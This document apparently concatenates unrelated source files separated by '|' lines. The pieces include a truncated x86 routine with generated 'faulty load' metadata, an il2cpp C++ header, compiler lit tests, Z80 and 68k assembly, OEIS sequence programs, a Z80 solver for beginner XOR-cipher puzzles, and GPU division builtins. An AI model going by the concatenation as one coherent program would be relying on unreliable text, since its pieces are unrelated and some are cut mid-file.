pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'32': 23}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
// Autogenerated from CppHeaderCreator
// Created by Sc2ad
// =========================================================================
#pragma once
// Begin includes
#include "extern/beatsaber-hook/shared/utils/typedefs.h"
#include "extern/beatsaber-hook/shared/utils/byref.hpp"
// Including type: UnityEngine.AddressableAssets.Initialization.CacheInitialization
#include "UnityEngine/AddressableAssets/Initialization/CacheInitialization.hpp"
// Including type: UnityEngine.ResourceManagement.AsyncOperations.AsyncOperationBase`1
#include "UnityEngine/ResourceManagement/AsyncOperations/AsyncOperationBase_1.hpp"
// Including type: UnityEngine.ResourceManagement.IUpdateReceiver
#include "UnityEngine/ResourceManagement/IUpdateReceiver.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-properties.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-fields.hpp"
#include "extern/beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Begin forward declares
// Forward declaring namespace: System
namespace System {
// Forward declaring type: Func`1<TResult>
template<typename TResult>
class Func_1;
}
// Completed forward declares
// Type namespace: UnityEngine.AddressableAssets.Initialization
namespace UnityEngine::AddressableAssets::Initialization {
// WARNING Size may be invalid!
// Autogenerated type: UnityEngine.AddressableAssets.Initialization.CacheInitialization/UnityEngine.AddressableAssets.Initialization.CacheInitOp
// [TokenAttribute] Offset: FFFFFFFF
class CacheInitialization::CacheInitOp : public UnityEngine::ResourceManagement::AsyncOperations::AsyncOperationBase_1<bool>/*, public UnityEngine::ResourceManagement::IUpdateReceiver*/ {
public:
// private System.Func`1<System.Boolean> m_Callback
// Size: 0x8
// Offset: 0x80
System::Func_1<bool>* m_Callback;
// Field size check
static_assert(sizeof(System::Func_1<bool>*) == 0x8);
// private System.Boolean m_UpdateRequired
// Size: 0x1
// Offset: 0x88
bool m_UpdateRequired;
// Field size check
static_assert(sizeof(bool) == 0x1);
// Creating value type constructor for type: CacheInitOp
CacheInitOp(System::Func_1<bool>* m_Callback_ = {}, bool m_UpdateRequired_ = {}) noexcept : m_Callback{m_Callback_}, m_UpdateRequired{m_UpdateRequired_} {}
// Creating interface conversion operator: operator UnityEngine::ResourceManagement::IUpdateReceiver
operator UnityEngine::ResourceManagement::IUpdateReceiver() noexcept {
return *reinterpret_cast<UnityEngine::ResourceManagement::IUpdateReceiver*>(this);
}
// Get instance field: private System.Func`1<System.Boolean> m_Callback
System::Func_1<bool>* _get_m_Callback();
// Set instance field: private System.Func`1<System.Boolean> m_Callback
void _set_m_Callback(System::Func_1<bool>* value);
// Get instance field: private System.Boolean m_UpdateRequired
bool _get_m_UpdateRequired();
// Set instance field: private System.Boolean m_UpdateRequired
void _set_m_UpdateRequired(bool value);
// public System.Void Init(System.Func`1<System.Boolean> callback)
// Offset: 0x11705F4
void Init(System::Func_1<bool>* callback);
// public System.Void Update(System.Single unscaledDeltaTime)
// Offset: 0x117068C
void Update(float unscaledDeltaTime);
// public System.Void .ctor()
// Offset: 0x11704E4
// Implemented from: UnityEngine.ResourceManagement.AsyncOperations.AsyncOperationBase`1
// Base method: System.Void AsyncOperationBase_1::.ctor()
// Base method: System.Void Object::.ctor()
template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary>
static CacheInitialization::CacheInitOp* New_ctor() {
static auto ___internal__logger = ::Logger::get().WithContext("UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::.ctor");
return THROW_UNLESS((::il2cpp_utils::New<CacheInitialization::CacheInitOp*, creationType>()));
}
// override System.Boolean InvokeWaitForCompletion()
// Offset: 0x11705FC
// Implemented from: UnityEngine.ResourceManagement.AsyncOperations.AsyncOperationBase`1
// Base method: System.Boolean AsyncOperationBase_1::InvokeWaitForCompletion()
bool InvokeWaitForCompletion();
// protected override System.Void Execute()
// Offset: 0x1170744
// Implemented from: UnityEngine.ResourceManagement.AsyncOperations.AsyncOperationBase`1
// Base method: System.Void AsyncOperationBase_1::Execute()
void Execute();
}; // UnityEngine.AddressableAssets.Initialization.CacheInitialization/UnityEngine.AddressableAssets.Initialization.CacheInitOp
// WARNING Not writing size check since size may be invalid!
}
DEFINE_IL2CPP_ARG_TYPE(UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp*, "UnityEngine.AddressableAssets.Initialization", "CacheInitialization/CacheInitOp");
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
// Writing MetadataGetter for method: UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::Init
// Il2CppName: Init
template<>
struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::*)(System::Func_1<bool>*)>(&UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::Init)> {
static const MethodInfo* get() {
static auto* callback = &::il2cpp_utils::MakeGeneric(::il2cpp_utils::GetClassFromName("System", "Func`1"), ::std::vector<const Il2CppClass*>{::il2cpp_utils::GetClassFromName("System", "Boolean")})->byval_arg;
return ::il2cpp_utils::FindMethod(classof(UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp*), "Init", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{callback});
}
};
// Writing MetadataGetter for method: UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::Update
// Il2CppName: Update
template<>
struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::*)(float)>(&UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::Update)> {
static const MethodInfo* get() {
static auto* unscaledDeltaTime = &::il2cpp_utils::GetClassFromName("System", "Single")->byval_arg;
return ::il2cpp_utils::FindMethod(classof(UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp*), "Update", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{unscaledDeltaTime});
}
};
// Writing MetadataGetter for method: UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::New_ctor
// Il2CppName: .ctor
// Cannot get method pointer of value based method overload from template for constructor!
// Try using FindMethod instead!
// Writing MetadataGetter for method: UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::InvokeWaitForCompletion
// Il2CppName: InvokeWaitForCompletion
template<>
struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<bool (UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::*)()>(&UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::InvokeWaitForCompletion)> {
static const MethodInfo* get() {
return ::il2cpp_utils::FindMethod(classof(UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp*), "InvokeWaitForCompletion", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{});
}
};
// Writing MetadataGetter for method: UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::Execute
// Il2CppName: Execute
template<>
struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::*)()>(&UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp::Execute)> {
static const MethodInfo* get() {
return ::il2cpp_utils::FindMethod(classof(UnityEngine::AddressableAssets::Initialization::CacheInitialization::CacheInitOp*), "Execute", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{});
}
};
|
// RUN: mkdir -p %T/Inputs/
// RUN: clang-typegrind %s --
// RUN: sed -i 's/\/\/.*//' %T/../../Output/Inputs/template/template_func_new_inner.cpp
// RUN: FileCheck -input-file=%T/../../Output/Inputs/template/template_func_new_inner.cpp %s
template<typename T>
void creator()
{
// CHECK: T* ptr = TYPEGRIND_LOG_NEW("{{.*}}/clang-typegrind/test/template/template_func_new_inner.cpp:10", TYPEGRIND_CANONICAL_TYPE(TYPEGRIND_TYPE(T)), TYPEGRIND_SPECIFIC_TYPE(TYPEGRIND_TYPE(T), {{[0-9]*}}), (new T), sizeof(T));
T* ptr = new T;
}
class C {
public:
struct S{};
};
int main(void)
{
creator<C::S>();
return 0;
}
// CHECK: TYPEGRIND_CANONICAL_SPECIALIZATION(TYPEGRIND_TYPE(C::S));
// CHECK: TYPEGRIND_SPECIFIC_SPECIALIZATION(TYPEGRIND_TYPE(C::S), TYPEGRIND_TYPE(C::S), {{[0-9]*}});
|
; Elemental types
NORMAL EQU $00
FIGHTING EQU $01
FLYING EQU $02
POISON EQU $03
GROUND EQU $04
ROCK EQU $05
TYPELESS EQU $06
BUG EQU $07
DRAGON EQU $08
FIRE EQU $14
WATER EQU $15
GRASS EQU $16
ELECTRIC EQU $17
PSYCHIC EQU $18
ICE EQU $19
GHOST EQU $1A
|
;
; Getsprite - Picks up a sprite from display with the given size
; by Stefano Bodrato - 2019
;
; The original putsprite code is by Patrick Davidson (TI 85)
;
; Generic version (just a bit slow)
;
; THIS IS A QUICK PLACEHOLDER, WORKING ONLY ON THE PIXELS REGION (0,0)-(255,255)
;
;
; $Id: w_getsprite.asm $
;
SECTION smc_clib
PUBLIC getsprite
PUBLIC _getsprite
PUBLIC getsprite_sub
EXTERN w_pointxy
EXTERN swapgfxbk
EXTERN __graphics_end
; __gfx_coords: d,e (vert-horz)
; sprite: (ix)
.getsprite
._getsprite
push ix
ld hl,4
add hl,sp
ld e,(hl)
inc hl
ld d,(hl) ; sprite address
push de
pop ix
inc hl
ld e,(hl)
inc hl
inc hl
ld d,(hl) ; x and y __gfx_coords
ld h,d ; X
ld l,e ; Y
.getsprite_sub
dec h
ld c,h ; keep copy of X position
call swapgfxbk
ld b,(ix+0) ; x size (iloop)
ld d,(ix+1) ; y size (oloop)
ld e,$fe ; trailing byte for "set 7,.." instruction
ld a,7
or b ; mess up the byte boundary check if the sprite edge is not exactly on a byte
jr z,skip_inc ; NOP
ld a,$23 ; INC IX
.skip_inc
ld (inc_smc+1),a
inc b
.oloop
xor a
ld (ix+2),a
push de
push bc ; keep copy of counters
ld (nopoint-1),a
ld e,a
.iloop
push bc
push de
push hl
ld e,l ; Y
ld l,h ; X
ld d,0
ld h,d
call w_pointxy
pop hl
pop de
jr z,nopoint
set 7,(ix+2) ; SMC (23 T)
.nopoint
ld a,e
sub 8 ; next bit (count 7 to 0)
cp $c6-8 ; trailing byte for "set 0,.." instruction (rightmost bit)
jr nc,next_bit
inc ix ; next byte in the sprite data
xor a
ld (ix+2),a
ld a,$fe ; trailing byte for "set 0,.." instruction
.next_bit
ld (nopoint-1),a
ld e,a
inc h ; increment X
pop bc ;
djnz iloop
ld a,$fe ; trailing byte for "set 7,.." instruction
cp e
jr z,noinc
.inc_smc
inc ix ; next byte in the sprite data
.noinc
pop bc ; restore counters
pop de
ld h,c ; reset X
inc l ; increment Y
dec d
jr nz,oloop
jp __graphics_end
|
* Set default or given channel V0.4 PUBLIC DOMAIN by Tony Tebby QJUMP
*
* call parameters : a3 and a5 standard pointers to name table for parameters
* : d6 channel number
* return parameters : d4 pointer to channel table
* : d6 channel number
* a0 channel id
*
section utils
*
xdef ut_chan default d6
xdef ut_chan0 default #0
xdef ut_chan1 default #1
xdef ut_chget #n must be present
xdef ut_chlook actually d6
xdef ut_chd4
*
xref ut_chanp
xref ut_gtin1 get one integer
xref err_bp
*
include dev8_sbsext_ext_keys
*
ut_chget
moveq #-1,d6 no default
bra.s ut_chan
ut_chan0
moveq #0,d6 default is channel #0
bra.s ut_chan
ut_chan1
moveq #1,d6 default is channel #1
ut_chan
cmpa.l a3,a5 are there any parameters?
ble.s ut_chlook ... no
btst #7,1(a6,a3.l) has the first parameter a hash?
beq.s ut_chlook ... no
*
move.l a1,-(sp)
bsr.l ut_gtin1 get one integer
bne.s ut_chexit was it ok?
addq.l #8,a3 and move past it
moveq #-1,d6 set no default
move.w 0(a6,a1.l),d6 get value in d6 to replace the default
addq.l #2,bv_rip(a6) reset ri stack pointer
move.l (sp)+,a1
*
ut_chlook
move.w d6,d4 get channel number
blt.l err_bp ... oops
ut_chd4
move.l a1,-(sp)
mulu #$28,d4 make d4 (long) pointer to channel table
add.l bv_chbas(a6),d4
cmp.l bv_chp(a6),d4 is it within the table?
bge.s ut_chdef ... no
move.l 0(a6,d4.l),a0 set channel id
move.w a0,d0 is it open?
bpl.s ut_chok ... yes
ut_chdef
tst.l d6 defaulted?
bmi.s ut_chno ... no
moveq #0,d6 channel 0
move.l bv_chbas(a6),d4
cmp.l bv_chp(a6),d4 any channel 0
bge.s ut_chopen ... open it
move.l 0(a6,d4.l),a0
move.w a0,d0 ... open?
bpl.s ut_chok
ut_chopen
jsr ut_chanp preset channel
lea con_def,a1
move.l a3,-(sp)
jsr ut..con*3+qlv.off and open
move.l (sp)+,a3
bne.s ut_chexit
move.l a0,0(a6,d4.l)
bra.s ut_chok
ut_chno
moveq #err.no,d0 channel not open
bra.s ut_chexit
con_def dc.b $ff,$1,$0,$7
dc.w $100,$3e,$80,$60
ut_chok
moveq #0,d0 no error
ut_chexit
move.l (sp)+,a1
rts
end
|
; A048512: a(n) = T(7,n), array T given by A048505.
; 1,65,210,536,1264,2880,6448,14288,31440,68816,149968,325584,704464,1519568,3268560,7012304,15007696,32047056,68288464,145227728,308281296,653262800,1382023120,2919235536,6157238224,12968787920,27279753168,57310969808,120259084240,252060893136,527744106448,1103806595024,2306397437904,4814658338768,10041633538000,20925080666064,43568148250576,90640989814736,188428805210064,391426139488208,812539092926416,1685551325380560,3494247953072080,7239184557277136
mov $2,13
add $2,$0
mov $3,$0
mov $4,$2
add $2,1
mul $4,$2
sub $2,1
add $3,$2
add $4,1
add $3,$4
lpb $0,1
sub $0,1
mul $3,2
lpe
add $0,$3
add $0,4
mov $1,$0
sub $1,199
div $1,4
add $1,1
|
; float asinh(float x) __z88dk_fastcall
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdcciy_asinh_fastcall
EXTERN cm48_sdcciyp_dx2m48, am48_asinh, cm48_sdcciyp_m482d
cm48_sdcciy_asinh_fastcall:
call cm48_sdcciyp_dx2m48
call am48_asinh
jp cm48_sdcciyp_m482d
|
//===-test_clip_default_min_tensorrt.cc-----------------------------------------------------------===//
//
// Copyright (C) 2019-2020 Alibaba Group Holding Limited.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// =============================================================================
// clang-format off
// Testing CXX Code Gen using ODLA API on tensorrt
// RUN: %halo_compiler -target cxx -o %data_path/test_clip_default_min/test_data_set_0/input_0.cc -x onnx -emit-data-as-c %data_path/test_clip_default_min/test_data_set_0/input_0.pb
// RUN: %halo_compiler -target cxx -o %data_path/test_clip_default_min/test_data_set_0/output_0.cc -x onnx -emit-data-as-c %data_path/test_clip_default_min/test_data_set_0/output_0.pb
// RUN: %halo_compiler -target cxx -o %data_path/test_clip_default_min/test_data_set_0/input_1.cc -x onnx -emit-data-as-c %data_path/test_clip_default_min/test_data_set_0/input_1.pb
// RUN: %halo_compiler -target cxx -batch-size 1 %halo_compile_flags %data_path/test_clip_default_min/model.onnx -o %t.cc
// RUN: %cxx -c -fPIC -o %t.o %t.cc -I%odla_path/include
// RUN: %cxx -g %s %t.o %t.bin -I%T -I%odla_path/include -I%unittests_path -I%data_path/test_clip_default_min/test_data_set_0 %odla_link %device_link -lodla_tensorrt -o %t_tensorrt.exe -Wno-deprecated-declarations
// RUN: %t_tensorrt.exe 0.0001 0 tensorrt %data_path/test_clip_default_min | FileCheck %s
// CHECK: Result Pass
// clang-format on
#include "test_clip_default_min_tensorrt.cc.tmp.main.cc.in"
|
; A143976: Rectangular array R by antidiagonals: label each unit square in the first quadrant lattice by its northeast vertex (x,y) and mark squares having x+y=1(mod 3); then R(m,n) is the number of UNmarked squares in the rectangle [0,m]x[0,n].
; 1,2,2,2,3,2,3,4,4,3,4,6,6,6,4,4,7,8,8,7,4,5,8,10,11,10,8,5,6,10,12,14,14,12,10,6,6,11,14,16,17,16,14,11,6,7,12,16,19,20,20,19,16,12,7,8,14,18,22,24,24,24,22,18,14,8,8,15,20,24,27,28,28,27,24,20,15,8,9,16,22,27
cal $0,3991 ; Multiplication table read by antidiagonals: T(i,j) = i*j, i>=1, j>=1.
add $2,$0
div $0,3
sub $2,$0
mov $0,1
mul $0,$2
add $1,$0
|
10 ORG 100H
20 JP PB00
30REGOUT EQU 0BD03H
40RPTCHR EQU 0BFEEH
50GPF EQU 0BFD0H
60AOUT EQU 0BD09H
70PUTSTR EQU 0BFF1H
80WAITK EQU 0BFCDH
100PB00: CALL CLS
110 LD HL,TXT00
120 CALL STRLN
130 LD DE,0
140 CALL PUTSTR
150 LD B,96
160 LD HL,BUFF00
170 LD DE,PBLM1
180 CALL ASC2H
190 LD HL,BUFF00
200 LD B,48
210 LD DE,0100H
220 CALL PUTSTR
230 CALL WAIT
240PB02: CALL CLS
250 CALL CLNUP
260 LD HL,TXT01
270 CALL STRLN
280 LD DE,0
290 CALL PUTSTR
300 LD B,36
310 LD HL,BUFF00
320 LD DE,PBML21
330 CALL ASC2H
340 LD BC,36
350 LD HL,BUFF00
360 ADD HL,BC
370 LD DE,PBML22
380 LD B,36
390 CALL ASC2H
400 LD HL,BUFF00
410 LD BC,36
420 ADD HL,BC
430 LD DE,BUFF00
440 LD B,18
450 PUSH IX
460 LD IX,BUFF01
470PB020: LD A,(DE)
480 XOR (HL)
490 LD (IX),A
500 INC IX
510 INC DE
520 INC HL
530 DJNZ PB020
540 POP IX
550 LD HL,BUFF01
560 LD BC,36
570 ADD HL,BC
580 PUSH HL
590 LD B,18
600 LD DE,BUFF01
610PB021: LD A,(DE)
620 CALL BYTE
630 INC DE
640 DJNZ PB021
650 POP HL
660 LD B,18
670 LD DE,0200H
680 CALL PUTSTR
690 LD B,18
700 LD DE,0300H
710 CALL PUTSTR
720 LD HL,BUFF01
730 LD B,18
740 LD DE,0400H
750 CALL PUTSTR
760 CALL WAIT
770PB03: CALL CLS
780 CALL CLNUP
790 LD HL,TXT02
800 CALL STRLN
810 LD DE,0
820 CALL PUTSTR
830 LD B,68
840 LD HL,BUFF00
850 LD DE,PBLM3
860 CALL ASC2H
870 LD HL,0
880 LD (BSCORE),HL
890 LD HL,BCHAR
900 LD (HL),0
910 LD A,0FFH; from 0xFF to 0x01
920 LD (CCHAR),A
930PB030: LD B,34
940 LD DE,BUFF00
950 LD HL,0
960 LD (CSCORE),HL
970 LD HL,BUFF01
980 LD A,(CCHAR)
990 LD C,A
1000PB031: LD A,(DE)
1010 XOR C
1020 LD (HL),A
1030 INC HL
1040 INC DE
1050 DJNZ PB031
1060 PUSH HL
1070 PUSH DE
1080 PUSH BC
1090 CALL GRADE ; now rate it
1100 LD DE,(CSCORE)
1110 LD HL,(BSCORE)
1120 SBC HL,DE
1130 JP NC,PB034 ; LOWER, DON'T CARE
1140 LD HL,(CSCORE)
1150 LD (BSCORE),HL
1160 LD A,(CCHAR)
1170 LD (BCHAR),A
1180 ; CALL REGOUT
1190PB034: POP BC
1200 POP DE
1210 POP HL ; Decrement CCHAR and go
1220 LD A,(CCHAR)
1230 DEC A
1240 LD (CCHAR),A
1250 CP 0
1260 JP NZ,PB030
1270 LD B,34
1280 LD A,(BCHAR)
1290 LD C,A
1300 LD DE,BUFF00
1310 LD HL,BUFF01
1320PB037: LD A,(DE)
1330 XOR C
1340 LD (HL),A
1350 INC HL
1360 INC DE
1370 DJNZ PB037
1380 ; string is xored with best char
1390 LD HL,TXT03A
1400 LD A,(BCHAR)
1410 CALL BYTE
1420 INC HL
1430 INC HL
1440 LD A,(BCHAR)
1450 LD (HL),A
1460 INC HL
1470 LD (HL),0
1480 LD HL,TXT03
1490 CALL STRLN
1500 LD DE,0100H
1510 CALL PUTSTR
1520 LD DE,(BSCORE)
1530 LD HL,BUFFXY
1540 LD BC,7
1550 ADD HL,BC
1560 LD A,D
1570 CALL BYTE
1580 LD A,E
1590 CALL BYTE
1600 LD HL,BUFFXY
1610 LD DE,010CH
1620 LD B,11
1630 CALL PUTSTR
1640 LD HL,BUFF01
1650 LD B,34
1660 LD DE,0300H
1670 CALL PUTSTR
1680 CALL WAIT
1690 CALL CLS
1700 LD HL,ZOIGIN
1710 CALL STRLN
1720 LD DE,0
1730 CALL PUTSTR
1740THEEND: RET
3000ASC2H: LD A,(DE)
3010 INC DE
3020 CALL HALF
3030 SLA A
3040 SLA A
3050 SLA A
3060 SLA A
3070 PUSH BC
3080 LD B,A
3090 LD A,(DE)
3100 INC DE
3110 CALL HALF
3120 ADD A,B
3130 LD (HL),A
3140 INC HL
3150 POP BC
3160 DJNZ ASC2H
3170 LD (HL),0
3180 RET
3190WAIT: CALL WAITK
3200 CP 0
3210 JP Z,WAIT
3220 RET
3230CLS: LD B, 144
3240 LD DE, 0
3250CLS0: LD A, 32
3260 CALL RPTCHR
3270 RET
3280CLLN: LD B,24
3290 LD E,0
3300 JP CLS0
3310BYTE: PUSH AF
3320 AND 0F0H
3330 RRCA
3340 RRCA
3350 RRCA
3360 RRCA
3370 CALL NIBBLE
3380 INC HL
3390 POP AF
3400 AND 15
3410 CALL NIBBLE
3420 INC HL
3430 RET
3440NIBBLE: SUB 10
3450 JP M,ZERO9
3460 ADD A,7
3470ZERO9: ADD A,58
3480 LD (HL),A
3490 RET
3500STRLN: LD B,0
3510 PUSH HL
3520STRLN0: LD A,(HL)
3530 CP 0
3540 JP Z,STRLN1
3550 INC HL
3560 INC B
3570 JP STRLN0
3580STRLN1: POP HL
3590 RET
3600HALF: SUB 48
3610 CP 10
3620 JP M,HALF9
3630 SUB 7
3640HALF9: RET
3650MX2KEY: LD B,0
3660 LD C,A ; A IS KEY INDEX
3670 LD HL, MATRIX
3680 ADD HL, BC
3690 LD A,(HL)
3700 RET
3710CLNUP: LD B,192
3720 LD HL,BUFF00
3730CLNUP0: LD (HL),0
3740 INC HL
3750 DJNZ CLNUP0
3760 RET
4000FREQ: DB ' ET.AOSINRHDLC',0
4010GRADE: ; CALL CLS
4020 ; LD HL,BUFFXX
4030 ; LD A,(CCHAR)
4040 ; LD (HL),A
4050 ; INC HL
4060 ; INC HL
4070 ; INC HL
4080 ; INC HL
4090 ; CALL BYTE
4100 ; LD HL,BUFFXX
4110 ; LD B,6
4120 ; LD DE,0
4130 ; CALL PUTSTR
4140 ; LD HL,BUFF01
4150 ; LD B,34
4160 ; LD DE,0100H
4170 ; CALL PUTSTR
4180 ; CALL WAIT
4190 LD DE,BUFF01 ; XOR'ed string
4200 LD A,34
4210GRADE0: LD (CNTR),A
4220 LD A,(DE)
4230 INC DE
4240 CP ' ' ; BELOW ' ' DON'T BOTHER
4250 JP M,GRADE3
4260 CP 127 ; above 7F DON'T BOTHER
4270 JP P,GRADE3
4280 CP 'a'
4290 JP M,SKIP00
4300 CP 'z'
4310 JP P,SKIP00
4320 ; CALL AOUT
4330 SUB 20H ; CAPITALIZE
4340SKIP00: LD HL,FREQ
4350 LD B,14
4360GRADE1: CP (HL)
4370 JP Z,GRADE2
4380 INC HL
4390 DJNZ GRADE1 ; NO MATCH
4400 JP GRADE3
4410GRADE2: LD HL,(CSCORE)
4420 LD C,B
4430 LD B,0
4440 ADD HL,BC
4450 INC HL
4460 LD (CSCORE),HL
4470GRADE3: ; LD A,(CNTR)
4480 ; LD B,A
4490 ; LD A,(CCHAR)
4500 ; CALL REGOUT
4510 LD A,(CNTR)
4520 DEC A
4530 CP 0
4540 JP NZ,GRADE0
4550GRADE4: RET
5000BUFF00: DEFS 96
5010BUFF01: DEFS 96
5020BUFFXX: DB 0,' 0x',0,0
5030BUFFXY: DB 'Score: ',0,0,0,0,0
5040CNTR: DB 0
5050PBLM1: DB '49276D206B696C6C'
5060 DB '696E6720796F7572'
5070 DB '20627261696E206C'
5080 DB '696B65206120706F'
5090 DB '69736F6E6F757320'
5100 DB '6D757368726F6F6D'
5110 DB 0
5120PBML21: DB '1C0111001F01010006'
5130 DB '1A024B53535009181C'
5140PBML22: DB '686974207468652062'
5150 DB '756C6C277320657965'
5160PBLM3: DB '1B37373331363F78'
5170 DB '151B7F2B78343133'
5180 DB '3D78397828372D36'
5190 DB '3C78373E783A393B3736'
5200BSCORE: DB 0,0
5210BCHAR: DB 0
5220CSCORE: DB 0,0
5230CCHAR: DB 0
5240TXT00: DB 'Problem 1',0
5250TXT01: DB 'Problem 2',0
5260TXT02: DB 'Problem 3',0
5270TXT03: DB 'Result 0x'
5280TXT03A: DB 0,0,32,0,0,0,0
5290ZOIGIN: DB 'Bye...',13,10,0
5300MATRIX: DB 0,0FFH
5310 DB 'QWERTYUASDFGHJKZXCVBNM,'
5320 DB 0FFH,0FFH,0FFH,0FFH,9,32,10,11,14,15 ; LEFT RIGHT UP DOWN
5330 DB 0FFH, '0.=+',13,'L;',0FFH,'123-'
5340 DB 0FFH,'IO',0FFH,'456*',0FFH,'P',8,0FFH,'789/)'
5350 DB 0FFH,0FFH,0FFH,0FFH,'(',0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH,0FFH
5360 DB 0,12,0FFH
|
.section #gf100_builtin_code
// DIV U32
//
// UNR recurrence (q = a / b):
// look for z such that 2^32 - b <= b * z < 2^32
// then q - 1 <= (a * z) / 2^32 <= q
//
// INPUT: $r0: dividend, $r1: divisor
// OUTPUT: $r0: result, $r1: modulus
// CLOBBER: $r2 - $r3, $p0 - $p1
// SIZE: 22 / 14 * 8 bytes
//
gf100_div_u32:
bfind u32 $r2 $r1
xor b32 $r2 $r2 0x1f
mov b32 $r3 0x1
shl b32 $r2 $r3 clamp $r2
cvt u32 $r1 neg u32 $r1
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mov b32 $r3 $r0
mul high $r0 u32 $r0 u32 $r2
cvt u32 $r2 neg u32 $r1
add $r1 (mul u32 $r1 u32 $r0) $r3
set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
$p0 add b32 $r0 $r0 0x1
$p0 set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
$p0 add b32 $r0 $r0 0x1
ret
// DIV S32, like DIV U32 after taking ABS(inputs)
//
// INPUT: $r0: dividend, $r1: divisor
// OUTPUT: $r0: result, $r1: modulus
// CLOBBER: $r2 - $r3, $p0 - $p3
//
gf100_div_s32:
set $p2 0x1 lt s32 $r0 0x0
set $p3 0x1 lt s32 $r1 0x0 xor $p2
cvt s32 $r0 abs s32 $r0
cvt s32 $r1 abs s32 $r1
bfind u32 $r2 $r1
xor b32 $r2 $r2 0x1f
mov b32 $r3 0x1
shl b32 $r2 $r3 clamp $r2
cvt u32 $r1 neg u32 $r1
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mov b32 $r3 $r0
mul high $r0 u32 $r0 u32 $r2
cvt u32 $r2 neg u32 $r1
add $r1 (mul u32 $r1 u32 $r0) $r3
set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
$p0 add b32 $r0 $r0 0x1
$p0 set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
$p0 add b32 $r0 $r0 0x1
$p3 cvt s32 $r0 neg s32 $r0
$p2 cvt s32 $r1 neg s32 $r1
ret
// RCP F64: Newton Raphson reciprocal(x): r_{i+1} = r_i * (2.0 - x * r_i)
//
// INPUT: $r0d (x)
// OUTPUT: $r0d (rcp(x))
// CLOBBER: $r2 - $r7
// SIZE: 9 * 8 bytes
//
gf100_rcp_f64:
nop
ret
// RSQ F64: Newton Raphson rsqrt(x): r_{i+1} = r_i * (1.5 - 0.5 * x * r_i * r_i)
//
// INPUT: $r0d (x)
// OUTPUT: $r0d (rsqrt(x))
